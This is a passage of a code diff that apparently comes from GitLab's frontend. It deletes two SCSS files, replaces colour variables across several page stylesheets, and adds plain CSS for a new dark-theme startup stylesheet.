diff --git a/app/assets/stylesheets/pages/packages.scss b/app/assets/stylesheets/pages/packages.scss
deleted file mode 100644
index 8f6eee524e5..00000000000
--- a/app/assets/stylesheets/pages/packages.scss
+++ /dev/null
@@ -1,11 +0,0 @@
-.commit-row-description {
- border: 0;
- border-left: 3px solid $white-dark;
-}
-
-.package-list-table[aria-busy='true'] {
- td {
- padding-bottom: 0;
- padding-top: 0;
- }
-}
diff --git a/app/assets/stylesheets/pages/pipelines.scss b/app/assets/stylesheets/pages/pipelines.scss
index fc3b786b365..8b104ce9017 100644
--- a/app/assets/stylesheets/pages/pipelines.scss
+++ b/app/assets/stylesheets/pages/pipelines.scss
@@ -193,7 +193,6 @@
.icon-container {
display: inline-block;
- width: 10px;
&.commit-icon {
width: 15px;
@@ -782,7 +781,7 @@
&.ci-status-icon-pending,
&.ci-status-icon-waiting-for-resource,
&.ci-status-icon-success-with-warnings {
- @include mini-pipeline-graph-color($white, $orange-100, $orange-200, $orange-500, $orange-600, $orange-700);
+ @include mini-pipeline-graph-color($white, $orange-50, $orange-100, $orange-500, $orange-600, $orange-700);
}
&.ci-status-icon-preparing,
@@ -1082,3 +1081,19 @@ button.mini-pipeline-graph-dropdown-toggle {
.progress-bar.bg-primary {
background-color: $blue-500 !important;
}
+
+.pipeline-stage-pill {
+ width: 10rem;
+}
+
+.pipeline-job-pill {
+ width: 8rem;
+}
+
+.stage-left-rounded {
+ border-radius: 2rem 0 0 2rem;
+}
+
+.stage-right-rounded {
+ border-radius: 0 2rem 2rem 0;
+}
diff --git a/app/assets/stylesheets/pages/profile.scss b/app/assets/stylesheets/pages/profile.scss
index 85836962b06..4dc1f2034f3 100644
--- a/app/assets/stylesheets/pages/profile.scss
+++ b/app/assets/stylesheets/pages/profile.scss
@@ -257,7 +257,8 @@
}
}
-table.u2f-registrations {
+table.u2f-registrations,
+.webauthn-registrations {
th:not(:last-child),
td:not(:last-child) {
border-right: solid 1px transparent;
diff --git a/app/assets/stylesheets/pages/projects.scss b/app/assets/stylesheets/pages/projects.scss
index d4d6583312c..a2f8447c0b6 100644
--- a/app/assets/stylesheets/pages/projects.scss
+++ b/app/assets/stylesheets/pages/projects.scss
@@ -353,7 +353,7 @@
.save-project-loader {
margin-top: 50px;
margin-bottom: 50px;
- color: $gl-gray-700;
+ color: $gray-700;
}
.transfer-project .select2-container {
@@ -429,7 +429,7 @@
> li + li::before {
padding: 0 3px;
- color: $gl-gray-400;
+ color: $gray-300;
}
a {
@@ -1268,18 +1268,10 @@ pre.light-well {
position: relative;
.clear-icon {
- @extend .fa-times;
display: none;
position: absolute;
- right: 7px;
- top: 7px;
- color: $location-icon-color;
-
- &::before {
- font-family: FontAwesome;
- font-weight: $gl-font-weight-normal;
- font-style: normal;
- }
+ right: 9px;
+ top: 9px;
}
&.has-value {
@@ -1444,7 +1436,7 @@ pre.light-well {
.project-filters {
.btn svg {
- color: $gl-gray-700;
+ color: $gray-700;
}
.button-filter-group {
diff --git a/app/assets/stylesheets/pages/search.scss b/app/assets/stylesheets/pages/search.scss
index 1fc6ad62237..4b8e1da4867 100644
--- a/app/assets/stylesheets/pages/search.scss
+++ b/app/assets/stylesheets/pages/search.scss
@@ -105,7 +105,7 @@ input[type='checkbox']:hover {
}
.dropdown-header {
- // Necessary because glDropdown doesn't support a second style of headers
+ // Necessary because deprecatedJQueryDropdown doesn't support a second style of headers
font-weight: $gl-font-weight-bold;
color: $gl-text-color;
font-size: $gl-font-size;
diff --git a/app/assets/stylesheets/pages/settings.scss b/app/assets/stylesheets/pages/settings.scss
index b82c638a5b7..7b18e3774d8 100644
--- a/app/assets/stylesheets/pages/settings.scss
+++ b/app/assets/stylesheets/pages/settings.scss
@@ -124,8 +124,8 @@
.settings-message {
padding: 5px;
line-height: 1.3;
- color: $orange-700;
- background-color: $orange-100;
+ color: $gray-900;
+ background-color: $orange-50;
border: 1px solid $orange-200;
border-radius: $border-radius-base;
}
@@ -135,7 +135,7 @@
}
.warning-title {
- color: $orange-500;
+ color: $gray-900;
}
.danger-title {
@@ -301,7 +301,7 @@
}
.loading-metrics .metrics-load-spinner {
- color: $gl-gray-700;
+ color: $gray-700;
}
.metrics-list {
@@ -384,6 +384,13 @@
font-weight: $gl-font-weight-bold;
border: 0;
}
+
+ // When tables are "stacked", restore td padding
+ @media(max-width: map-get($grid-breakpoints, lg)) {
+ td {
+ padding-left: $gl-spacing-scale-5;
+ }
+ }
}
}
diff --git a/app/assets/stylesheets/pages/status.scss b/app/assets/stylesheets/pages/status.scss
index 4ad2dcbe92f..b37c5172ad2 100644
--- a/app/assets/stylesheets/pages/status.scss
+++ b/app/assets/stylesheets/pages/status.scss
@@ -43,7 +43,7 @@
&.ci-waiting-for-resource,
&.ci-failed-with-warnings,
&.ci-success-with-warnings {
- @include status-color($orange-100, $orange-500, $orange-700);
+ @include status-color($orange-50, $orange-500, $orange-700);
}
&.ci-info,
diff --git a/app/assets/stylesheets/pages/todos.scss b/app/assets/stylesheets/pages/todos.scss
deleted file mode 100644
index c6f104a024b..00000000000
--- a/app/assets/stylesheets/pages/todos.scss
+++ /dev/null
@@ -1,263 +0,0 @@
-/**
- * Dashboard Todos
- *
- */
-
-.todos-list > .todo {
- // workaround because we cannot use border-collapse
- border-top: 1px solid transparent;
- display: flex;
- flex-direction: row;
-
- &:hover {
- background-color: $blue-50;
- border-color: $blue-200;
- cursor: pointer;
- }
-
- // overwrite border style of .content-list
- &:last-child {
- border-bottom: 1px solid transparent;
-
- &:hover {
- border-color: $blue-200;
- }
- }
-
- .todo-avatar,
- .todo-actions {
- @include transition(opacity);
- flex: 0 0 auto;
- }
-
- .todo-actions {
- display: flex;
- justify-content: center;
- flex-direction: column;
- margin-left: 10px;
- min-width: 55px;
- }
-
- .todo-item {
- flex: 0 1 100%;
- min-width: 0;
- }
-
- &.todo-pending.done-reversible {
- background-color: $white;
-
- &:hover {
- border-color: $white-normal;
- background-color: $gray-light;
- border-top: 1px solid transparent;
-
- .todo-avatar,
- .todo-item {
- opacity: 0.6;
- }
- }
-
- .todo-avatar,
- .todo-item {
- opacity: 0.2;
- }
-
- .btn {
- background-color: $gray-light;
- }
- }
-}
-
-.todo-item {
- @include transition(opacity);
-
- .todo-title {
- > .title-item {
- &:first-child {
- margin-left: 0;
- }
-
- &:last-child {
- margin-right: 0;
- }
- }
-
- .todo-label {
- flex: 0 1 auto;
- overflow: hidden;
- text-overflow: ellipsis;
- white-space: nowrap;
- }
- }
-
- .status-box {
- margin: 0;
- float: none;
- display: inline-block;
- font-weight: $gl-font-weight-normal;
- padding: 0 5px;
- line-height: inherit;
- font-size: 14px;
- }
-
- .todo-label,
- .todo-project {
- a {
- color: $blue-600;
- font-weight: $gl-font-weight-normal;
- }
- }
-
- .todo-body {
- .badge.badge-pill,
- p {
- color: $gl-text-color;
- }
-
- .md {
- color: $gl-grayish-blue;
- font-size: $gl-font-size;
- }
-
- code {
- white-space: pre-wrap;
- }
-
- pre {
- border: 0;
- background: $gray-light;
- border-radius: 0;
- color: $gl-gray-500;
- margin: 0 20px;
- overflow: hidden;
- }
-
- .note-image-attach {
- margin-top: 4px;
- margin-left: 0;
- max-width: 200px;
- float: none;
- }
-
- p:last-child {
- margin-bottom: 0;
- }
- }
-
- .gl-label-scoped {
- --label-inset-border: inset 0 0 0 1px currentColor;
- }
-}
-
-@include media-breakpoint-down(sm) {
- .todos-filters {
- .dropdown-menu-toggle {
- width: 130px;
- }
-
- .dropdown-menu-toggle-sort {
- width: auto;
- }
- }
-}
-
-@include media-breakpoint-down(lg) {
- .todos-filters {
- .filter-categories {
- width: 75%;
-
- .filter-item {
- margin-bottom: 10px;
- }
- }
- }
-}
-
-@include media-breakpoint-down(sm) {
- .todo {
- .avatar {
- display: none;
- }
- }
-
- .todo-item {
- .todo-title {
- margin-bottom: 10px;
-
- .todo-label {
- white-space: normal;
- }
- }
-
- .todo-body {
- margin: 0;
- border-left: 2px solid $gl-gray-100;
- padding-left: 10px;
- }
- }
-
- .todos-filters {
- .filter-categories {
- width: auto;
- }
-
- .dropdown-menu-toggle {
- width: 100%;
- }
- }
-}
-
-.todos-empty {
- display: flex;
- flex-direction: column;
- max-width: 900px;
- margin-left: auto;
- margin-right: auto;
-
- @include media-breakpoint-up(sm) {
- flex-direction: row;
- padding-top: 80px;
- }
-}
-
-.todos-empty-content {
- align-self: center;
- max-width: 480px;
- margin-right: 20px;
-}
-
-.todos-empty-hero {
- width: 200px;
- margin-left: auto;
- margin-right: auto;
-
- @include media-breakpoint-up(sm) {
- width: 300px;
- margin-right: 0;
- order: 2;
- }
-}
-
-.todos-all-done {
- padding-top: 20px;
-
- @include media-breakpoint-up(sm) {
- padding-top: 50px;
- }
-
- > svg {
- display: block;
- max-width: 300px;
- margin: 0 auto 20px;
- }
-
- p {
- max-width: 470px;
- margin-left: auto;
- margin-right: auto;
- }
-
- a {
- font-weight: $gl-font-weight-bold;
- }
-}
diff --git a/app/assets/stylesheets/pages/tree.scss b/app/assets/stylesheets/pages/tree.scss
index b6af395a802..73fe76f139f 100644
--- a/app/assets/stylesheets/pages/tree.scss
+++ b/app/assets/stylesheets/pages/tree.scss
@@ -173,7 +173,7 @@
.tree-truncated-warning {
color: $orange-600;
- background-color: $orange-100;
+ background-color: $orange-50;
}
.tree-time-ago {
diff --git a/app/assets/stylesheets/pages/ui_dev_kit.scss b/app/assets/stylesheets/pages/ui_dev_kit.scss
index 7744fd814d0..288da4da5c3 100644
--- a/app/assets/stylesheets/pages/ui_dev_kit.scss
+++ b/app/assets/stylesheets/pages/ui_dev_kit.scss
@@ -6,7 +6,7 @@
.example {
padding: 15px;
- border: 1px dashed $gl-gray-100;
+ border: 1px dashed $gray-100;
margin-bottom: 15px;
&::before {
diff --git a/app/assets/stylesheets/pages/wiki.scss b/app/assets/stylesheets/pages/wiki.scss
index 8c4bfdf68cc..ccf11058b5b 100644
--- a/app/assets/stylesheets/pages/wiki.scss
+++ b/app/assets/stylesheets/pages/wiki.scss
@@ -151,3 +151,7 @@ ul.wiki-pages-list.content-list {
.empty-state-wiki .text-content {
max-width: 490px; // Widen to allow for the Confluence button
}
+
+.wiki-form .markdown-area {
+ max-height: none;
+}
diff --git a/app/assets/stylesheets/performance_bar.scss b/app/assets/stylesheets/performance_bar.scss
index daeab80d373..dc127cd2554 100644
--- a/app/assets/stylesheets/performance_bar.scss
+++ b/app/assets/stylesheets/performance_bar.scss
@@ -11,15 +11,15 @@
height: $performance-bar-height;
background: $black;
line-height: $performance-bar-height;
- color: $gl-gray-400;
+ color: $gray-300;
select {
- color: $gl-gray-400;
+ color: $gray-300;
width: 200px;
}
input {
- color: $gl-gray-400;
+ color: $gray-300;
width: $input-short-width - 60px;
}
@@ -61,7 +61,7 @@
padding: 4px 6px;
font-family: Consolas, 'Liberation Mono', Courier, monospace;
line-height: 1;
- color: $gl-gray-100;
+ color: $gray-100;
border-radius: 3px;
box-shadow: 0 1px 0 $perf-bar-bucket-box-shadow-from,
inset 0 1px 2px $perf-bar-bucket-box-shadow-to;
diff --git a/app/assets/stylesheets/startup/startup-dark.scss b/app/assets/stylesheets/startup/startup-dark.scss
new file mode 100644
index 00000000000..d875f758ead
--- /dev/null
+++ b/app/assets/stylesheets/startup/startup-dark.scss
@@ -0,0 +1,1912 @@
+@charset "UTF-8";
+*,
+*::before,
+*::after {
+ box-sizing: border-box;
+}
+html {
+ font-family: sans-serif;
+ line-height: 1.15;
+}
+ header, nav, section {
+ display: block;
+}
+body {
+ margin: 0;
+ font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Noto Sans", Ubuntu, Cantarell, "Helvetica Neue", sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol", "Noto Color Emoji";
+ font-size: 1rem;
+ font-weight: 400;
+ line-height: 1.5;
+ color: #fafafa;
+ text-align: left;
+ background-color: #2e2e2e;
+}
+h1, h2, h3 {
+ margin-top: 0;
+ margin-bottom: 0.25rem;
+}
+p {
+ margin-top: 0;
+ margin-bottom: 1rem;
+}
+
+ul {
+ margin-top: 0;
+ margin-bottom: 1rem;
+}
+
+ul ul {
+ margin-bottom: 0;
+}
+
+strong {
+ font-weight: bolder;
+}
+sub {
+ position: relative;
+ font-size: 75%;
+ line-height: 0;
+ vertical-align: baseline;
+}
+sub {
+ bottom: -.25em;
+}
+a {
+ color: #007bff;
+ text-decoration: none;
+ background-color: transparent;
+}
+a:not([href]) {
+ color: inherit;
+ text-decoration: none;
+}
+pre,
+code {
+ font-family: "Menlo", "DejaVu Sans Mono", "Liberation Mono", "Consolas", "Ubuntu Mono", "Courier New", "andale mono", "lucida console", monospace;
+ font-size: 1em;
+}
+pre {
+ margin-top: 0;
+ margin-bottom: 1rem;
+ overflow: auto;
+}
+img {
+ vertical-align: middle;
+ border-style: none;
+}
+svg {
+ overflow: hidden;
+ vertical-align: middle;
+}
+table {
+ border-collapse: collapse;
+}
+th {
+ text-align: inherit;
+}
+button {
+ border-radius: 0;
+}
+input,
+button,
+textarea {
+ margin: 0;
+ font-family: inherit;
+ font-size: inherit;
+ line-height: inherit;
+}
+button,
+input {
+ overflow: visible;
+}
+button {
+ text-transform: none;
+}
+button:not(:disabled),
+[type="button"]:not(:disabled),
+[type="reset"]:not(:disabled) {
+ cursor: pointer;
+}
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner {
+ padding: 0;
+ border-style: none;
+}
+textarea {
+ overflow: auto;
+ resize: vertical;
+}
+[type="search"] {
+ outline-offset: -2px;
+}
+summary {
+ display: list-item;
+ cursor: pointer;
+}
+template {
+ display: none;
+}
+[hidden] {
+ display: none !important;
+}
+h1, h2, h3,
+.h1, .h2, .h3 {
+ margin-bottom: 0.25rem;
+ font-weight: 600;
+ line-height: 1.2;
+ color: #fafafa;
+}
+h1, .h1 {
+ font-size: 2.1875rem;
+}
+h2, .h2 {
+ font-size: 1.75rem;
+}
+h3, .h3 {
+ font-size: 1.53125rem;
+}
+.list-unstyled {
+ padding-left: 0;
+ list-style: none;
+}
+code {
+ font-size: 90%;
+ color: #fff;
+ word-wrap: break-word;
+}
+a > code {
+ color: inherit;
+}
+pre {
+ display: block;
+ font-size: 90%;
+ color: #fafafa;
+}
+pre code {
+ font-size: inherit;
+ color: inherit;
+ word-break: normal;
+}
+.container {
+ width: 100%;
+ padding-right: 15px;
+ padding-left: 15px;
+ margin-right: auto;
+ margin-left: auto;
+}
+
+@media (min-width: 576px) {
+ .container {
+ max-width: 540px;
+ }
+}
+
+@media (min-width: 768px) {
+ .container {
+ max-width: 720px;
+ }
+}
+
+@media (min-width: 992px) {
+ .container {
+ max-width: 960px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .container {
+ max-width: 1140px;
+ }
+}
+.container-fluid {
+ width: 100%;
+ padding-right: 15px;
+ padding-left: 15px;
+ margin-right: auto;
+ margin-left: auto;
+}
+
+@media (min-width: 576px) {
+ .container {
+ max-width: 540px;
+ }
+}
+
+@media (min-width: 768px) {
+ .container {
+ max-width: 720px;
+ }
+}
+
+@media (min-width: 992px) {
+ .container {
+ max-width: 960px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .container {
+ max-width: 1140px;
+ }
+}
+.row {
+ display: flex;
+ flex-wrap: wrap;
+ margin-right: -15px;
+ margin-left: -15px;
+}
+.table {
+ width: 100%;
+ margin-bottom: 0.5rem;
+ color: #fafafa;
+}
+.table th,
+.table td {
+ padding: 0.75rem;
+ vertical-align: top;
+ border-top: 1px solid #4f4f4f;
+}
+ .search form {
+ display: block;
+ width: 100%;
+ height: 34px;
+ padding: 0.375rem 0.75rem;
+ font-size: 0.875rem;
+ font-weight: 400;
+ line-height: 1.5;
+ color: #fafafa;
+ background-color: #4f4f4f;
+ background-clip: padding-box;
+ border: 1px solid #4f4f4f;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+ .search form:-moz-focusring {
+ color: transparent;
+ text-shadow: 0 0 0 #fafafa;
+}
+ .search form::placeholder {
+ color: #ccc;
+ opacity: 1;
+}
+ .search form:disabled {
+ background-color: #2e2e2e;
+ opacity: 1;
+}
+.form-inline {
+ display: flex;
+ flex-flow: row wrap;
+ align-items: center;
+}
+
+@media (min-width: 576px) {
+ .form-inline .search form, .search .form-inline form {
+ display: inline-block;
+ width: auto;
+ vertical-align: middle;
+ }
+}
+.btn {
+ display: inline-block;
+ font-weight: 400;
+ color: #fafafa;
+ text-align: center;
+ vertical-align: middle;
+ cursor: pointer;
+ user-select: none;
+ background-color: transparent;
+ border: 1px solid transparent;
+ padding: 0.375rem 0.75rem;
+ font-size: 1rem;
+ line-height: 20px;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+.btn.disabled, .btn:disabled {
+ opacity: 0.65;
+}
+a.btn.disabled {
+ pointer-events: none;
+}
+.collapse:not(.show) {
+ display: none;
+}
+
+.dropdown {
+ position: relative;
+}
+ .dropdown-menu-toggle {
+ white-space: nowrap;
+}
+ .dropdown-menu-toggle::after {
+ display: inline-block;
+ margin-left: 0.255em;
+ vertical-align: 0.255em;
+ content: "";
+ border-top: 0.3em solid;
+ border-right: 0.3em solid transparent;
+ border-bottom: 0;
+ border-left: 0.3em solid transparent;
+}
+ .dropdown-menu-toggle:empty::after {
+ margin-left: 0;
+}
+.dropdown-menu {
+ position: absolute;
+ top: 100%;
+ left: 0;
+ z-index: 1000;
+ display: none;
+ float: left;
+ min-width: 10rem;
+ padding: 0.5rem 0;
+ margin: 0.125rem 0 0;
+ font-size: 1rem;
+ color: #fafafa;
+ text-align: left;
+ list-style: none;
+ background-color: #333;
+ background-clip: padding-box;
+ border: 1px solid rgba(255, 255, 255, 0.15);
+ border-radius: 0.25rem;
+}
+.dropdown-menu-right {
+ right: 0;
+ left: auto;
+}
+ .divider {
+ height: 0;
+ margin: 4px 0;
+ overflow: hidden;
+ border-top: 1px solid #4f4f4f;
+}
+.dropdown-menu.show {
+ display: block;
+}
+.nav {
+ display: flex;
+ flex-wrap: wrap;
+ padding-left: 0;
+ margin-bottom: 0;
+ list-style: none;
+}
+.navbar {
+ position: relative;
+ display: flex;
+ flex-wrap: wrap;
+ align-items: center;
+ justify-content: space-between;
+ padding: 0.25rem 0.5rem;
+}
+.navbar .container,
+.navbar .container-fluid {
+ display: flex;
+ flex-wrap: wrap;
+ align-items: center;
+ justify-content: space-between;
+}
+.navbar-nav {
+ display: flex;
+ flex-direction: column;
+ padding-left: 0;
+ margin-bottom: 0;
+ list-style: none;
+}
+.navbar-nav .dropdown-menu {
+ position: static;
+ float: none;
+}
+.navbar-collapse {
+ flex-basis: 100%;
+ flex-grow: 1;
+ align-items: center;
+}
+.navbar-toggler {
+ padding: 0.25rem 0.75rem;
+ font-size: 1.25rem;
+ line-height: 1;
+ background-color: transparent;
+ border: 1px solid transparent;
+ border-radius: 0.25rem;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-expand-sm > .container,
+ .navbar-expand-sm > .container-fluid {
+ padding-right: 0;
+ padding-left: 0;
+ }
+}
+
+@media (min-width: 576px) {
+ .navbar-expand-sm {
+ flex-flow: row nowrap;
+ justify-content: flex-start;
+ }
+ .navbar-expand-sm .navbar-nav {
+ flex-direction: row;
+ }
+ .navbar-expand-sm .navbar-nav .dropdown-menu {
+ position: absolute;
+ }
+ .navbar-expand-sm > .container,
+ .navbar-expand-sm > .container-fluid {
+ flex-wrap: nowrap;
+ }
+ .navbar-expand-sm .navbar-collapse {
+ display: flex !important;
+ flex-basis: auto;
+ }
+ .navbar-expand-sm .navbar-toggler {
+ display: none;
+ }
+}
+.card {
+ position: relative;
+ display: flex;
+ flex-direction: column;
+ min-width: 0;
+ word-wrap: break-word;
+ background-color: #333;
+ background-clip: border-box;
+ border: 1px solid #4f4f4f;
+ border-radius: 0.25rem;
+}
+.badge {
+ display: inline-block;
+ padding: 0.25em 0.4em;
+ font-size: 75%;
+ font-weight: 600;
+ line-height: 1;
+ text-align: center;
+ white-space: nowrap;
+ vertical-align: baseline;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+.badge:empty {
+ display: none;
+}
+.btn .badge {
+ position: relative;
+ top: -1px;
+}
+.badge-pill {
+ padding-right: 0.6em;
+ padding-left: 0.6em;
+ border-radius: 10rem;
+}
+.media {
+ display: flex;
+ align-items: flex-start;
+}
+.close {
+ float: right;
+ font-size: 1.5rem;
+ font-weight: 600;
+ line-height: 1;
+ color: #fff;
+ text-shadow: 0 1px 0 #333;
+ opacity: .5;
+}
+button.close {
+ padding: 0;
+ background-color: transparent;
+ border: 0;
+ appearance: none;
+}
+a.close.disabled {
+ pointer-events: none;
+}
+.modal-dialog {
+ position: relative;
+ width: auto;
+ margin: 0.5rem;
+ pointer-events: none;
+}
+
+@media (min-width: 576px) {
+ .modal-dialog {
+ max-width: 500px;
+ margin: 1.75rem auto;
+ }
+}
+.bg-transparent {
+ background-color: transparent !important;
+}
+.border {
+ border: 1px solid #4f4f4f !important;
+}
+.border-top {
+ border-top: 1px solid #4f4f4f !important;
+}
+.border-right {
+ border-right: 1px solid #4f4f4f !important;
+}
+.border-bottom {
+ border-bottom: 1px solid #4f4f4f !important;
+}
+.border-left {
+ border-left: 1px solid #4f4f4f !important;
+}
+.rounded {
+ border-radius: 0.25rem !important;
+}
+.clearfix::after {
+ display: block;
+ clear: both;
+ content: "";
+}
+.d-none {
+ display: none !important;
+}
+.d-inline-block {
+ display: inline-block !important;
+}
+.d-block {
+ display: block !important;
+}
+
+@media (min-width: 576px) {
+ .d-sm-none {
+ display: none !important;
+ }
+}
+
+@media (min-width: 768px) {
+ .d-md-block {
+ display: block !important;
+ }
+}
+
+@media (min-width: 992px) {
+ .d-lg-none {
+ display: none !important;
+ }
+ .d-lg-block {
+ display: block !important;
+ }
+}
+
+@media (min-width: 1200px) {
+ .d-xl-block {
+ display: block !important;
+ }
+}
+.flex-wrap {
+ flex-wrap: wrap !important;
+}
+.float-right {
+ float: right !important;
+}
+.sr-only {
+ position: absolute;
+ width: 1px;
+ height: 1px;
+ padding: 0;
+ margin: -1px;
+ overflow: hidden;
+ clip: rect(0, 0, 0, 0);
+ white-space: nowrap;
+ border: 0;
+}
+.m-auto {
+ margin: auto !important;
+}
+.text-nowrap {
+ white-space: nowrap !important;
+}
+.visible {
+ visibility: visible !important;
+}
+ .search form.focus {
+ color: #fafafa;
+ background-color: #4f4f4f;
+ border-color: #80bdff;
+ outline: 0;
+ box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+.gl-badge {
+ display: inline-flex;
+ align-items: center;
+ font-size: 0.75rem;
+ font-weight: 400;
+ line-height: 1rem;
+ padding-top: 0.25rem;
+ padding-bottom: 0.25rem;
+ padding-left: 0.5rem;
+ padding-right: 0.5rem;
+ outline: none;
+}
+body, .search form,
+.search form {
+ font-size: 0.875rem;
+}
+button,
+html [type='button'],
+[type='reset'],
+[role='button'] {
+ cursor: pointer;
+}
+h1,
+.h1,
+h2,
+.h2,
+h3,
+.h3 {
+ margin-top: 20px;
+ margin-bottom: 10px;
+}
+input[type='file'] {
+ line-height: 1;
+}
+
+strong {
+ font-weight: bold;
+}
+a {
+ color: #418cd8;
+}
+code {
+ padding: 2px 4px;
+ color: #fff;
+ background-color: #2e2e2e;
+ border-radius: 4px;
+}
+.code > code {
+ background-color: inherit;
+ padding: unset;
+}
+table {
+ border-spacing: 0;
+}
+.hidden {
+ display: none !important;
+ visibility: hidden !important;
+}
+.hide {
+ display: none;
+}
+ .dropdown-menu-toggle::after {
+ display: none;
+}
+.badge:not(.gl-badge) {
+ padding: 4px 5px;
+ font-size: 12px;
+ font-style: normal;
+ font-weight: 400;
+ display: inline-block;
+}
+pre code {
+ white-space: pre-wrap;
+}
+.toggle-sidebar-button .collapse-text,
+.toggle-sidebar-button .icon-chevron-double-lg-left,
+.toggle-sidebar-button .icon-chevron-double-lg-right {
+ color: #bababa;
+}
+svg {
+ vertical-align: baseline;
+}
+html {
+ overflow-y: scroll;
+}
+body {
+ text-decoration-skip: ink;
+}
+.content-wrapper {
+ margin-top: 40px;
+ padding-bottom: 100px;
+}
+.container {
+ padding-top: 0;
+ z-index: 5;
+}
+.container .content {
+ margin: 0;
+}
+
+@media (max-width: 575.98px) {
+ .container .content {
+ margin-top: 20px;
+ }
+}
+
+@media (max-width: 575.98px) {
+ .container .container .title {
+ padding-left: 15px !important;
+ }
+}
+.btn {
+ border-radius: 4px;
+ font-size: 0.875rem;
+ font-weight: 400;
+ padding: 6px 10px;
+ background-color: #333;
+ border-color: #4f4f4f;
+ color: #fafafa;
+ color: #fafafa;
+ white-space: nowrap;
+}
+.btn:active, .btn.active {
+ box-shadow: rgba(0, 0, 0, 0.16);
+ background-color: #444;
+ border-color: #fafafa;
+ color: #fafafa;
+}
+.btn svg {
+ height: 15px;
+ width: 15px;
+}
+.btn svg:not(:last-child),
+.btn .fa:not(:last-child) {
+ margin-right: 5px;
+}
+.badge.badge-pill:not(.gl-badge) {
+ font-weight: 400;
+ background-color: rgba(0, 0, 0, 0.07);
+ color: #dfdfdf;
+ vertical-align: baseline;
+}
+.hint {
+ font-style: italic;
+ color: #707070;
+}
+.bold {
+ font-weight: 600;
+}
+pre.wrap {
+ word-break: break-word;
+ white-space: pre-wrap;
+}
+table a code {
+ position: relative;
+ top: -2px;
+ margin-right: 3px;
+}
+.loading {
+ margin: 20px auto;
+ height: 40px;
+ color: #dfdfdf;
+ font-size: 32px;
+ text-align: center;
+}
+.highlight {
+ text-shadow: none;
+}
+.chart {
+ overflow: hidden;
+ height: 220px;
+}
+.break-word {
+ word-wrap: break-word;
+}
+.center {
+ text-align: center;
+}
+.block {
+ display: block;
+}
+.flex {
+ display: flex;
+}
+.flex-grow {
+ flex-grow: 1;
+}
+.dropdown {
+ position: relative;
+}
+.show.dropdown .dropdown-menu {
+ transform: translateY(0);
+ display: block;
+ min-height: 40px;
+ max-height: 312px;
+ overflow-y: auto;
+}
+
+@media (max-width: 575.98px) {
+ .show.dropdown .dropdown-menu {
+ width: 100%;
+ }
+}
+ .show.dropdown .dropdown-menu-toggle,
+.show.dropdown .dropdown-menu-toggle {
+ border-color: #c4c4c4;
+}
+.show.dropdown [data-toggle='dropdown'] {
+ outline: 0;
+}
+.search-input-container .dropdown-menu {
+ margin-top: 11px;
+}
+ .dropdown-menu-toggle {
+ padding: 6px 8px 6px 10px;
+ background-color: #333;
+ color: #fafafa;
+ font-size: 14px;
+ text-align: left;
+ border: 1px solid #4f4f4f;
+ border-radius: 0.25rem;
+ white-space: nowrap;
+}
+ .no-outline.dropdown-menu-toggle {
+ outline: 0;
+}
+ .dropdown-menu-toggle .fa {
+ color: #c4c4c4;
+}
+.dropdown-menu-toggle {
+ padding-right: 25px;
+ position: relative;
+ width: 160px;
+ text-overflow: ellipsis;
+ overflow: hidden;
+}
+.dropdown-menu-toggle .fa {
+ position: absolute;
+}
+.dropdown-menu {
+ display: none;
+ position: absolute;
+ width: auto;
+ top: 100%;
+ z-index: 300;
+ min-width: 240px;
+ max-width: 500px;
+ margin-top: 4px;
+ margin-bottom: 24px;
+ font-size: 14px;
+ font-weight: 400;
+ padding: 8px 0;
+ background-color: #333;
+ border: 1px solid #4f4f4f;
+ border-radius: 0.25rem;
+ box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
+}
+.dropdown-menu ul {
+ margin: 0;
+ padding: 0;
+}
+.dropdown-menu li {
+ display: block;
+ text-align: left;
+ list-style: none;
+ padding: 0 1px;
+}
+.dropdown-menu li > a,
+.dropdown-menu li button {
+ background: transparent;
+ border: 0;
+ border-radius: 0;
+ box-shadow: none;
+ display: block;
+ font-weight: 400;
+ position: relative;
+ padding: 8px 12px;
+ color: #fafafa;
+ line-height: 16px;
+ white-space: normal;
+ overflow: hidden;
+ text-align: left;
+ width: 100%;
+}
+.dropdown-menu .divider {
+ height: 1px;
+ margin: 0.25rem 0;
+ padding: 0;
+ background-color: #4f4f4f;
+}
+.dropdown-menu .badge.badge-pill + span:not(.badge.badge-pill) {
+ margin-right: 40px;
+}
+.dropdown-select {
+ width: 300px;
+}
+
+@media (max-width: 767.98px) {
+ .dropdown-select {
+ width: 100%;
+ }
+}
+.dropdown-content {
+ max-height: 252px;
+ overflow-y: auto;
+}
+.dropdown-loading {
+ position: absolute;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ left: 0;
+ display: none;
+ z-index: 9;
+ background-color: rgba(51, 51, 51, 0.6);
+ font-size: 28px;
+}
+.dropdown-loading .fa {
+ position: absolute;
+ top: 50%;
+ left: 50%;
+ margin-top: -14px;
+ margin-left: -14px;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab li.dropdown {
+ position: static;
+ }
+ header.navbar-gitlab .dropdown .dropdown-menu {
+ width: 100%;
+ min-width: 100%;
+ }
+}
+
+@media (max-width: 767.98px) {
+ .dropdown-menu-toggle {
+ width: 100%;
+ }
+}
+textarea {
+ resize: vertical;
+}
+input {
+ border-radius: 0.25rem;
+ color: #fafafa;
+ background-color: #4f4f4f;
+}
+ .search form {
+ border-radius: 4px;
+ padding: 6px 10px;
+}
+ .search form::placeholder {
+ color: #a7a7a7;
+}
+body.ui-indigo .navbar-gitlab {
+ background-color: #292961;
+}
+body.ui-indigo .navbar-gitlab .navbar-collapse {
+ color: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler {
+ border-left: 1px solid #6868b9;
+}
+body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler svg {
+ fill: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.active > a,
